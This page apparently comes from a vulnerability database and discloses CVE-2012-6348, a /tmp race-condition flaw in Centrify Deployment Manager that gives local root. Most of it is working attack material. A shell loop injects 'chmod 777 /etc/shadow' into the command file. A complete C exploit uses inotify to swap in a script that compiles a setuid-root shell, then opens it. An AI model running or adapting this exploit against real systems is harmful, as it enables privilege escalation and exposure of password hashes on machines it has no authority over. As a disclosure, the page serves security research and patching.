The VapidLabs Vulnerability Database

Centrify Server Suite secures the industry's broadest range of mission-critical servers from identity-related insider risks and outsider attacks, making security and regulatory compliance repeatable and sustainable. The solution leverages existing Active Directory infrastructure to centrally manage authentication, access controls, privileged identities, policy enforcement and compliance for on-premises and cloud resources.

So our quick dirty exploit:

larry@h0g:/tmp$ while (true) ; do echo "chmod 777 /etc/shadow" >> /tmp/centrify.cmd.0 ; done

Will get us our command executed:

larry@h0g:/tmp$ ls -l /etc/shadow
-rwxrwxrwx 1 root shadow 1010 Dec 7 21:57 /etc/shadow larry@h0g:/tmp$

It might work creating the file centrify.cmd.UID, then monitoring it for having the execute bit set with inotify (IN_ATTRIB). When the execute bit is set write our malicious command to the file as it about to be executed by root.

/*Local root exploit for Centrify Deployment Manager v2.1.0.283 local root,
Centrify released a fix very quickly  - nice vendor response.

http://vapid.dhs.org/exploits/centrify_local_r00t.c

CVE-2012-6348  12/17/2012
http://vapid.dhs.org/advisories/centrify_deployment_manager_insecure_tmp2.html
Greetings vladz,  Thanks for the inotify & syscall technique.

This exploit based on http://vladz.devzero.fr/010_bzexe-vuln.php

Run the exploit and wait for administrator to analyse or deploysoftware
to the system.

larry@h0g:~/code/exploit$ ./cent_root centrify.cmd.0
[*] Launching attack against "centrify.cmd.0"
[+] Creating evil script (/tmp/evil)
[+] Creating target file (/bin/touch /tmp/centrify.cmd.0)
[+] Initialize inotify
[+] Waiting for root to launch "centrify.cmd.0"
[+] Opening root shell (/tmp/sh)
# 

Larry W. Cashdollar
@_larry0
*/


#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <sys/inotify.h>
#include <fcntl.h>
#include <sys/syscall.h>

/*Create a small c program to pop us a root shell*/
int create_nasty_shell(char *file) {
  char *s = "#!/bin/bash\n"
            "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
            "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
            "chmod 4755 /tmp/sh;\n";

  int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
  write(fd, s, strlen(s));
  close(fd);

  return 0;
}


int main(int argc, char **argv) {
  int fd, wd;
  char buf[1], *targetpath, *cmd,
       *evilsh = "/tmp/evil", *trash = "/tmp/trash";

  if (argc < 2) {
    printf("Usage: %s <target file> \n", argv[0]);
    return 1;
  }

  printf("[*] Launching attack against \"%s\"\n", argv[1]);

  printf("[+] Creating evil script (/tmp/evil)\n");
  create_nasty_shell(evilsh);

  targetpath = malloc(sizeof(argv[1]) + 6);
  cmd = malloc(sizeof(char) * 32);
  sprintf(targetpath, "/tmp/%s", argv[1]);
  sprintf(cmd,"/bin/touch %s",targetpath);
  printf("[+] Creating target file (%s)\n",cmd);
  system(cmd);

  printf("[+] Initialize inotify\n");
  fd = inotify_init();
  wd = inotify_add_watch(fd, targetpath, IN_ATTRIB);

  printf("[+] Waiting for root to change perms on \"%s\"\n", argv[1]);
  syscall(SYS_read, fd, buf, 1);
  syscall(SYS_rename, targetpath,  trash);
  syscall(SYS_rename, evilsh, targetpath);

  inotify_rm_watch(fd, wd);

  printf("[+] Opening root shell (/tmp/sh)\n");
  sleep(2);
  system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");

  return 0;
}

88343